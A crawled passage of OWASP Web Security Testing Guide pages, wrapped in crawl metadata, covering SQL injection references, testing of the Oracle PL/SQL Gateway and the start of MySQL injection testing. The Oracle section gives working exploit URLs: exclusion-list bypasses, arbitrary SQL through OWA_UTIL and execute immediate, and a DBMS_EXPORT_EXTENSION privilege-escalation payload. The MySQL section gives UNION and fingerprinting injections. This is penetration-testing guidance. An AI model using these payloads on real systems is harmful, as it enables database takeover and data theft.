CheatSheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html) .\n- To secure the SQL server, refer to the [Database Security CheatSheet](https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html) .\n\nFor generic input validation security, refer to the [Input Validation CheatSheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html).\n\n## Tools\n\n- [SQL Injection Fuzz Strings (from wfuzz tool) - Fuzzdb](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection)\n- [Bernardo Damele A. G.: sqlmap, automatic SQL injection tool](https://sqlmap.org/)\n- [Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool](https://github.com/dtrip/mysqloit)\n- [SQL Injection - PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)\n\n## References\n\n- [A05:2025 Injection](https://owasp.org/Top10/2025/A05_2025-Injection/)\n- [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n- [SQL Injection](https://www.w3schools.com/sql/sql_injection.asp)\n\nTechnology-specific Testing Guide pages have been created for the following DBMSs:\n\n- [Oracle](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.1-Oracle)\n- [MySQL](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.2-MySQL)\n- [SQL Server](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.3-SQL_Server)\n- [PostgreSQL](05.4-Testing_PostgreSQL.md)\n- [MS Access](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.5-MS_Access)\n- [NoSQL](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.6-NoSQL_Injection)\n- [ORM](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.7-ORM_Injection)\n- [Client-side](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.8-Client-side)\n\n### Whitepapers\n\n- [Victor Chapela: “Advanced SQL Injection”](https://www.cs.unh.edu/~it666/reading_list/Web/advanced_sql_injection.pdf)\n- [Chris Anley: “More Advanced SQL Injection”](https://www.cgisecurity.com/lib/more_advanced_sql_injection.pdf)\n- [David Litchfield: “Data-mining with SQL Injection and Inference”](https://dl.packetstormsecurity.net/papers/attack/sqlinference.pdf)\n- [Imperva: “Blinded SQL Injection”](https://www.imperva.com/lg/lgw.asp?pid=369)\n- [PortSwigger: “SQL Injection Cheat Sheet”](https://portswigger.net/web-security/sql-injection/cheat-sheet)\n- [Kevin Spett from SPI Dynamics: “Blind SQL Injection”](https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/Blind_SQLInjection.pdf)\n- [“ZeQ3uL” (Prathan Phongthiproek) and “Suphot Boonchamnan”: “Beyond SQLi: Obfuscate and Bypass”](https://www.exploit-db.com/papers/17934/)\n- [Adi Kaploun and Eliran Goshen, Check Point Threat Intelligence & Research Team: “The Latest SQL Injection Trends”](https://blog.checkpoint.com/latest-sql-injection-trends/)\n\n### Documentation on SQL Injection Vulnerabilities in Products\n\n- [Anatomy of the SQL injection in Drupal’s database comment filtering system SA-CORE-2015-003](https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 42416, "slov": 6477, "odkazu": 225, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:57", "sha256": "5849328d09783e735610519c16464130c845f7f14a33e3f71191d1cf63adb341", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://wiki.owasp.org/index.php/Automated_Audit_using_SQLMap", "https://meyerweb.com/eric/tools/dencoder/", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection", "https://sqlmap.org/", "https://github.com/dtrip/mysqloit", "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection", "https://www.w3schools.com/sql/sql_injection.asp", "https://www.cs.unh.edu/~it666/reading_list/Web/advanced_sql_injection.pdf", "https://www.cgisecurity.com/lib/more_advanced_sql_injection.pdf", "https://dl.packetstormsecurity.net/papers/attack/sqlinference.pdf", "https://www.imperva.com/lg/lgw.asp?pid=369", "https://portswigger.net/web-security/sql-injection/cheat-sheet", "https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/Blind_SQLInjection.pdf", "https://www.exploit-db.com/papers/17934/", "https://blog.checkpoint.com/latest-sql-injection-trends/", "https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.1-Oracle", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.1-Oracle", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.1-Oracle", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Oracle"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "How the PL/SQL Gateway Works"}, {"uroven": 4, "text": "Determining if the PL/SQL Gateway is Running"}, {"uroven": 4, "text": "Server Response Headers"}, {"uroven": 4, "text": "The NULL Test"}, {"uroven": 4, "text": "Known Package Access"}, {"uroven": 4, "text": "Accessing Arbitrary PL/SQL Packages in the Database"}, {"uroven": 3, "text": "PL/SQL Gateway Flaws"}, {"uroven": 3, "text": "Bypassing the PL/SQL Exclusion List"}, {"uroven": 3, "text": "Bypassing the Exclusion List - Method 1"}, {"uroven": 3, "text": "Bypassing the Exclusion List - Method 2"}, {"uroven": 3, "text": "Bypassing the Exclusion List - Method 3"}, {"uroven": 3, "text": "Bypassing the Exclusion List - Method 4"}, {"uroven": 3, "text": "Bypassing the Exclusion List - Method 5"}, {"uroven": 3, "text": "Bypassing the Exclusion List - Method 6"}, {"uroven": 3, "text": "Assessing Custom PL/SQL Web Applications"}, {"uroven": 4, "text": "SQL Injection"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Oracle\n\n## Summary\n\nWeb-based PL/SQL applications are enabled by the PL/SQL Gateway, which translates web requests into database queries. Many deployments expose this through [Oracle REST Data Services (ORDS)](https://docs.oracle.com/en/database/oracle/oracle-rest-data-services/26.1/orddg/introduction-to-Oracle-REST-Data-Services.html), often fronting [Oracle APEX](https://docs.oracle.com/en/database/oracle/apex/). Older estates may still use Apache `mod_plsql`, Oracle HTTP Server, Oracle Application Server, Portal, HTML DB / APEX predecessors, WebDB, or the XML Database (XDB) web server.\n\nThis chapter focuses on recognizing and testing PL/SQL Gateway endpoints, including legacy `mod_plsql` and Application Server deployments that remain in production. Apply the same input-validation mindset to ORDS and APEX surfaces, and use the general [SQL Injection](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05-SQL_Injection) guidance for Oracle-backed applications that do not expose the gateway.\n\n## How to Test\n\n### How the PL/SQL Gateway Works\n\nEssentially the PL/SQL Gateway acts as a proxy server taking the user’s web request and passes it on to the database server where it is executed.\n\n1. The web server accepts a request from a web client and determines if it should be processed by the PL/SQL Gateway.\n2. The PL/SQL Gateway processes the request by extracting the requested package name, procedure, and variables.\n3. The requested package and procedure are wrapped in a block of anonymous PL/SQL, and sent to the database server.\n4. The database server executes the procedure and sends the results back to the Gateway as HTML.\n5. The gateway sends the response, via the web server, back to the client.\n\nUnderstanding this point is important - the PL/SQL code does not exist on the web server but, rather, in the database server. This means that any weaknesses in the PL/SQL Gateway or any weaknesses in the PL/SQL application, when exploited, give an attacker direct access to the database server; no amount of firewalls will prevent this.\n\nURLs for PL/SQL web applications are normally easily recognizable and generally start with the following (xyz can be any string and represents a Database Access Descriptor, which you will learn more about later):\n\n- `https://www.example.com/pls/xyz`\n- `https://www.example.com/xyz/owa`\n- `https://www.example.com/xyz/plsql`\n\nThe second and third of these examples represent URLs from older PL/SQL Gateway deployments; the first is typical of Apache `mod_plsql` (`/pls` is the default Location in `plsql.conf`, though the path can be changed). ORDS mappings differ by configuration and may not use `/pls`. The absence of a file extension in a URL could indicate the presence of the Oracle PL/SQL Gateway. Consider the following URL:\n\n`https://www.server.com/aaa/bbb/xxxxx.yyyyy`\n\nIf `xxxxx.yyyyy` were replaced with something along the lines of `ebank.home`, `store.welcome`, `auth.login`, or `books.search`, then there’s a fairly strong chance that the PL/SQL Gateway is being used. It is also possible to precede the requested package and procedure with the name of the user that owns it - i.e. the schema - in this case the user is `webuser`:\n\n`https://www.server.com/pls/xyz/webuser.pkg.proc`\n\nIn this URL, xyz is the Database Access Descriptor, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, and authentication methods. On Apache `mod_plsql` these DADs are specified in `dads.conf`; older listeners used `wdbsvr.app`. ORDS uses its own pool/configuration files instead of DADs. Some historical default DAD names include the following:\n\n```\nSIMPLEDAD\nHTMLDB\nORASSO\nSSODAD\nPORTAL\nPORTAL2\nPORTAL30\nPORTAL30_SSO\nTEST\nDAD\nAPP\nONLINE\nDB\nOWA\n```\n\n#### Determining if the PL/SQL Gateway is Running\n\nWhen performing an assessment against a server, it’s important first to know what technology you’re actually dealing with. If you don’t already know, for example, in a black box assessment scenario, then the first thing you need to do is work this out. Recognizing a web based PL/SQL application is pretty easy. First, there is the format of the URL and what it looks like, discussed above. Beyond that there are a set of simple tests that can be performed to test for the existence of the PL/SQL Gateway.\n\n#### Server Response Headers\n\nResponse headers can help identify Oracle web tiers, but they are neither required nor reliable on their own. Many ORDS and APEX deployments sit behind reverse proxies or content delivery networks (CDNs) and return a generic `Server` value, or none. Prefer URL shape and the probes below when banners are absent or rewritten.\n\nUseful signals when present:\n\n- `Oracle-REST-Data-Services/...` (ORDS).\n- `Oracle-HTTP-Server` , `mod_plsql` , or `Oracle-Application-Server` (legacy Oracle HTTP Server or Application Server).\n- Related headers such as `X-ORDS-*` or older `X-APEX-*` .\n\nExamples:\n\n```\nServer: Oracle-REST-Data-Services/24.2.0.r1234567\nServer: Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server\nServer: Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0\n```\n\n#### The NULL Test\n\nIn PL/SQL, `null` is a perfectly acceptable expression:\n\n```\nSQL> BEGIN   NULL;   END;   / PL/SQL procedure successfully completed. \n```\n\nWe can use this to test if the server is running the PL/SQL Gateway. Simply take the `DAD` and append `NULL`, then append `NOSUCHPROC`:\n\n- `https://www.example.com/pls/dad/null`\n- `https://www.example.com/pls/dad/nosuchproc`\n\nIf the server responds with a `200 OK` response for the first and a `404 Not Found` for the second then it indicates that the server is running the PL/SQL Gateway.\n\n#### Known Package Access\n\nOn older versions of the PL/SQL Gateway, it is possible to directly access the packages that form the PL/SQL Web Toolkit such as the OWA and HTP packages. One of these packages is the `OWA_UTIL` package, which we’ll speak about more later on. This package contains a procedure called SIGNATURE and it simply outputs in HTML a PL/SQL signature. Thus requesting\n\n`https://www.example.com/pls/dad/owa_util.signature`\n\nreturns the following output on the webpage\n\n`\"This page was produced by the PL/SQL Web Toolkit on date\"`\n\nor\n\n`\"This page was produced by the PL/SQL Cartridge on date\"`\n\nIf you don’t get this response but a 403 Forbidden response then you can infer that the PL/SQL Gateway is running. This is the response you should get in later versions or patched systems.\n\n#### Accessing Arbitrary PL/SQL Packages in the Database\n\nIt is possible to exploit vulnerabilities in the PL/SQL packages that are installed by default in the database server. How you do this depends on the version of the PL/SQL Gateway. In earlier versions of the PL/SQL Gateway, there was nothing to stop an attacker from accessing an arbitrary PL/SQL package in the database server. We mentioned the `OWA_UTIL` package earlier. This can be used to run arbitrary SQL queries:\n\n`https://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS`\n\nCross Site Scripting attacks could be launched via the HTP package:\n\n`https://www.example.com/pls/dad/HTP.PRINT?CBUF=`\n\nClearly, this is dangerous, so Oracle introduced a PLSQL Exclusion list to prevent direct access to such dangerous procedures. Banned items include any request starting with `SYS.*`, any request starting with `DBMS_*`, any request with `HTP.*` or `OWA*`. It is possible to bypass the exclusion list however. What’s more, the exclusion list does not prevent access to packages in the `CTXSYS` and `MDSYS` schemas or others, so it is possible to exploit flaws in these packages:\n\n`https://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL`\n\nThis will return a blank HTML page with a 200 OK response if the database server is still vulnerable to this flaw (CVE-2006-0265)\n\n### PL/SQL Gateway Flaws\n\nOver the years, the Oracle PL/SQL Gateway has suffered from a number of flaws, including access to admin pages (CVE-2002-0561), buffer overflows (CVE-2002-0559), directory traversal bugs, and vulnerabilities that allow attackers to bypass the Exclusion List and go on to access and execute arbitrary PL/SQL packages in the database server.\n\n### Bypassing the PL/SQL Exclusion List\n\nIt is incredible how many times Oracle has attempted to fix flaws that allow attackers to bypass the exclusion list. Each patch that Oracle has produced has fallen victim to a new bypass technique. [The history of this sorry story](https://seclists.org/fulldisclosure/2006/Feb/11)\n\n### Bypassing the Exclusion List - Method 1\n\nWhen Oracle first introduced the PL/SQL Exclusion List to prevent attackers from accessing arbitrary PL/SQL packages, it could be trivially bypassed by preceding the name of the schema/package with a hex encoded newline character or space or tab:\n\n```\nhttps://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC\nhttps://www.example.com/pls/dad/%20SYS.PACKAGE.PROC\nhttps://www.example.com/pls/dad/%09SYS.PACKAGE.PROC\n```\n\n### Bypassing the Exclusion List - Method 2\n\nLater versions of the Gateway allowed attackers to bypass the exclusion list by preceding the name of the schema/package with a label. In PL/SQL a label points to a line of code that can be jumped to using the GOTO statement and takes the following form: `<>`\n\n- `https://www.example.com/pls/dad/<>SYS.PACKAGE.PROC`\n\n### Bypassing the Exclusion List - Method 3\n\nSimply placing the name of the schema/package in double quotes could allow an attacker to bypass the exclusion list. Some Oracle Application Server releases (notably 10g) convert the user’s request to lowercase before sending it to the database server; because a quoted identifier is case sensitive, `SYS` and `sys` are not the same and requests for the latter will result in a 404 Not Found. On earlier versions the following can bypass the exclusion list:\n\n`https://www.example.com/pls/dad/\"SYS\".PACKAGE.PROC`\n\n### Bypassing the Exclusion List - Method 4\n\nDepending upon the character set in use on the web server and on the database server, some characters are translated. Thus, depending upon the character sets in use, the `ÿ` character (`0xFF`) might be converted to a `Y` at the database server. Another character that is often converted to an upper case `Y` is the Macron character - `0xAF`. This may allow an attacker to bypass the exclusion list:\n\n`https://www.example.com/pls/dad/S%FFS.PACKAGE.PROC` `https://www.example.com/pls/dad/S%AFS.PACKAGE.PROC`\n\n### Bypassing the Exclusion List - Method 5\n\nSome versions of the PL/SQL Gateway allow the exclusion list to be bypassed with a backslash - `0x5C`:\n\n`https://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC`\n\n### Bypassing the Exclusion List - Method 6\n\nThis is the most complex method of bypassing the exclusion list and is the most recently patched method. If we were to request the following\n\n`https://www.example.com/pls/dad/foo.bar?xyz=123`\n\nthe application server would execute the following at the database server:\n\n```\ndeclare  rc__ number;  start_time__ binary_integer;  simple_list__ owa_util.vc_arr;  complex_list__ owa_util.vc_arr; begin  start_time__ := dbms_utility.get_time;  owa.init_cgi_env(:n__,:nm__,:v__);  htp.HTBUF_LEN := 255;  null;  null;  simple_list__(1) := 'sys.%';  simple_list__(2) := 'dbms\\_%';  simple_list__(3) := 'utl\\_%';  simple_list__(4) := 'owa\\_%';  simple_list__(5) := 'owa.%';  simple_list__(6) := 'htp.%';  simple_list__(7) := 'htf.%';  if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then   rc__ := 2;  else   null;   orasso.wpg_session.init();   foo.bar(XYZ=>:XYZ);   if (wpg_docload.is_file_download) then    rc__ := 1;    wpg_docload.get_download_file(:doc_info);    orasso.wpg_session.deinit();    null;    null;    commit;   else    rc__ := 0;    orasso.wpg_session.deinit();    null;    null;    commit;    owa.get_page(:data__,:ndata__);   end if;  end if;  :rc__ := rc__;  :db_proc_time__ := dbms_utility.get_time-start_time__; end; \n```\n\nNotice lines 19 and 24. On line 19, the user’s request is checked against a list of known “bad” strings, i.e., the exclusion list. If the requested package and procedure do not contain bad strings, then the procedure is executed on line 24. The XYZ parameter is passed as a bind variable.\n\nIf we then request the following:\n\n`https://server.example.com/pls/dad/INJECT'POINT`\n\nthe following PL/SQL is executed:\n\n```\n.. simple_list__(7) := 'htf.%'; if ((owa_match.match_pattern('inject'point', simple_list__ complex_list__, true))) then\n rc__ := 2;\nelse\n null;\n orasso.wpg_session.init();\n inject'point; .. \n```\n\nThis generates an error in the error log: “PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .” What we have here is a way to inject arbitrary SQL. This can be exploited to bypass the exclusion list. First, the attacker needs to find a PL/SQL procedure that takes no parameters and doesn’t match anything in the exclusion list. There are a good number of default packages that match this criteria, for example:\n\n```\nJAVA_AUTONOMOUS_TRANSACTION.PUSH\nXMLGEN.USELOWERCASETAGNAMES\nPORTAL.WWV_HTP.CENTERCLOSE\nORASSO.HOME\nWWC_VERSION.GET_HTTP_DATABASE_INFO\n```\n\nAn attacker should pick one of these functions that is actually available on the target system (i.e., returns a `200 OK` when requested). As a test, an attacker can request\n\n`https://server.example.com/pls/dad/orasso.home?FOO=BAR`\n\nthe server should return a `404 File Not Found` response because the orasso.home procedure does not require parameters and one has been supplied. However, before the 404 is returned, the following PL/SQL is executed:\n\n```\n.. .. if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then rc__ := 2; else null; orasso.wpg_session.init(); orasso.home(FOO=>:FOO); .. .. \n```\n\nNote the presence of FOO in the attacker’s query string. Attackers can abuse this to run arbitrary SQL. First, they need to close the brackets:\n\n`https://server.example.com/pls/dad/orasso.home?);--=BAR`\n\nThis results in the following PL/SQL being executed:\n\n```\n.. orasso.home();--=>:);--); .. \n```\n\nEverything after the double minus (`--`) is treated as a comment. This request will cause an internal server error because one of the bind variables is no longer used, so the attacker needs to add it back. As it happens, it’s this bind variable that is the key to running arbitrary PL/SQL. For the moment, they can just use `HTP.PRINT` to print BAR, and add the needed bind variable as :1:\n\n`https://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR`\n\nThis should return a `200` with the word “BAR” in the HTML. What’s happening here is that everything after the equals sign - BAR in this case - is the data inserted into the bind variable. Using the same technique it’s possible to also gain access to `owa_util.cellsprint` again:\n\n`https://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS`\n\nTo execute arbitrary SQL, including DML and DDL statements, the attacker inserts an execute immediate :1:\n\n`https://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual`\n\n> Note: the output won’t be displayed. This can be leveraged to exploit any PL/SQL injection bugs owned by SYS, thus enabling an attacker to gain complete control of the backend database server. For example, the following URL takes advantage of the SQL injection flaws in `DBMS_EXPORT_EXTENSION`\n\n```\nhttps://www.example.com/pls/dad/orasso.home?);\nexecute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20\nBUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1); EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20\nPUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';\nEND;--','SYS',1,'VER',0);END;\n```\n\n### Assessing Custom PL/SQL Web Applications\n\nDuring black box security assessments, the code of the custom PL/SQL application is not available, but it still needs to be assessed for security vulnerabilities.\n\n#### SQL Injection\n\nEach input parameter should be tested for SQL injection flaws. These are easy to find and confirm. Finding them is as easy as embedding a single quote into the parameter and checking for error responses (which include 404 Not Found errors). Confirming the presence of SQL injection can be performed using the concatenation operator.\n\nFor example, assume there is a bookstore PL/SQL web application that allows users to search for books by a given author:\n\n`https://www.example.com/pls/bookstore/books.search?author=DICKENS`\n\nIf this request returns books by Charles Dickens, but\n\n`https://www.example.com/pls/bookstore/books.search?author=DICK'ENS`\n\nreturns an error or a `404`, then there might be a SQL injection flaw. This can be confirmed by using the concatenation operator:\n\n`https://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS`\n\nIf this request returns books by Charles Dickens, you’ve confirmed the presence of the SQL injection vulnerability.\n\n## Tools\n\n- [sqlmap](https://sqlmap.org/)\n\n## References\n\n- [Introduction to Oracle REST Data Services](https://docs.oracle.com/en/database/oracle/oracle-rest-data-services/26.1/orddg/introduction-to-Oracle-REST-Data-Services.html)\n- [ORDS PL/SQL Gateway](https://docs.oracle.com/en/database/oracle/oracle-rest-data-services/26.1/orddg/pl-sql-gateway.html)\n- [APEX Web Server Security Considerations](https://docs.oracle.com/en/database/oracle/apex/26.1/htmdb/web-server-security-considerations.html)\n- [SQL Injection (Oracle Database PL/SQL Language Reference)](https://docs.oracle.com/en/database/oracle/oracle-database/26/lnpls/sql-injection.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 17572, "slov": 2388, "odkazu": 207, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:59", "sha256": "0f329dd67a7729a6cd4b80dce06b667f42f40af79495cb61e40584f3fb4c0330", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://docs.oracle.com/en/database/oracle/oracle-rest-data-services/26.1/orddg/introduction-to-Oracle-REST-Data-Services.html", "https://docs.oracle.com/en/database/oracle/apex/", "https://seclists.org/fulldisclosure/2006/Feb/11", "https://sqlmap.org/", "https://docs.oracle.com/en/database/oracle/oracle-rest-data-services/26.1/orddg/pl-sql-gateway.html", "https://docs.oracle.com/en/database/oracle/apex/26.1/htmdb/web-server-security-considerations.html", "https://docs.oracle.com/en/database/oracle/oracle-database/26/lnpls/sql-injection.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.2-MySQL", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.2-MySQL", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.2-MySQL", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "MySQL"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "The Single Quotes Problem"}, {"uroven": 3, "text": "Multiple Mixed Queries"}, {"uroven": 3, "text": "Information Gathering"}, {"uroven": 4, "text": "Fingerprinting MySQL"}, {"uroven": 4, "text": "Version"}, {"uroven": 4, "text": "Database Name in Use"}, {"uroven": 4, "text": "INFORMATION_SCHEMA"}, {"uroven": 3, "text": "Attack Vectors"}, {"uroven": 4, "text": "Write in a File"}, {"uroven": 4, "text": "Read from a File"}, {"uroven": 3, "text": "Standard SQL Injection Attack"}, {"uroven": 3, "text": "Out of Band SQL Injection"}, {"uroven": 3, "text": "Blind SQL Injection"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# MySQL\n\n## Summary\n\n[SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.\n\n*MySQL server* has a few particularities so that some exploits need to be specially customized for this application. That’s the subject of this section. Since MariaDB is a fork of MySQL, the contents of this page will also be relevant for MariaDB.\n\n## How to Test\n\nWhen an SQL injection vulnerability is found in an application backed by a MySQL database, there are a number of attacks that could be performed depending on the MySQL version and user privileges on DBMS.\n\nMySQL comes with at least four versions which are used in production worldwide, `3.23.x`, `4.0.x`, `4.1.x` and `5.0.x`. Every version has a set of features proportional to version number.\n\n- From Version 4.0: UNION\n- From Version 4.1: Subqueries\n- From Version 5.0: Stored procedures, Stored functions and the view named `INFORMATION_SCHEMA`\n- From Version 5.0.2: Triggers\n\nIt should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or `UNION` statements were not implemented.\n\nFrom now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the one described in the Section on [SQL Injection](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05-SQL_Injection).\n\n`https://www.example.com/page.php?id=2`\n\n### The Single Quotes Problem\n\nBefore taking advantage of MySQL features, it has to be taken in consideration how strings could be represented in a statement, as often web applications escape single quotes.\n\nMySQL quote escaping is the following:\n\n`'A string with \\'quotes\\''`\n\nThat is, MySQL interprets escaped apostrophes `\\'` as characters and not as metacharacters.\n\nSo if the application, to work properly, needs to use constant strings, two cases are to be differentiated:\n\n1. Web app escapes single quotes `'` => `\\'`\n2. Web app does not escape single quotes `'` => `'`\n\nUnder MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.\n\nLet’s suppose we want to know the value of a field named `password` in a record, with a condition like the following:\n\n1. password like `'A%'`\n2. The ASCII values in a concatenated hex: `password LIKE 0x4125`\n3. The char() function: `password LIKE CHAR(65,37)`\n\n### Multiple Mixed Queries\n\nMySQL library connectors do not support multiple queries separated by `;` so there’s no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.\n\nFor example the following injection will result in an error:\n\n`1 ; update tablename set code='javascript code' where 1 --`\n\n### Information Gathering\n\n#### Fingerprinting MySQL\n\nOf course, the first thing to know is if there’s MySQL DBMS as a backend database. MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL dialect. When a comment block `'/**/'` contains an exclamation mark `'/*! sql here*/'` it is interpreted by MySQL, and is considered as a normal comment block by other DBMS as explained in [MySQL manual](https://dev.mysql.com/doc/refman/8.0/en/comments.html).\n\nExample:\n\n`1 /*! and 1=0 */`\n\n> If MySQL is present, the clause inside the comment block will be interpreted.\n\n#### Version\n\nThere are three ways to gain this information:\n\n1. By using the global variable `@@version`\n2. By using the function [VERSION()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_version)\n3. By using comment fingerprinting with a version number `/*!40110 and 1=0*/`\n\nwhich means\n\n```\nif(version >= 4.1.10)    add 'and 1=0' to the query. \n```\n\nThese are equivalent as the result is the same.\n\nIn band injection:\n\n`1 AND 1=0 UNION SELECT @@version /*`\n\nInferential injection:\n\n`1 AND @@version like '4.0%'`\n\nThe response would contain something to the lines of:\n\n`5.0.22-log`\n\nThere are two kinds of users MySQL Server relies upon.\n\n1. [USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_user) : the user connected to the MySQL Server.\n2. 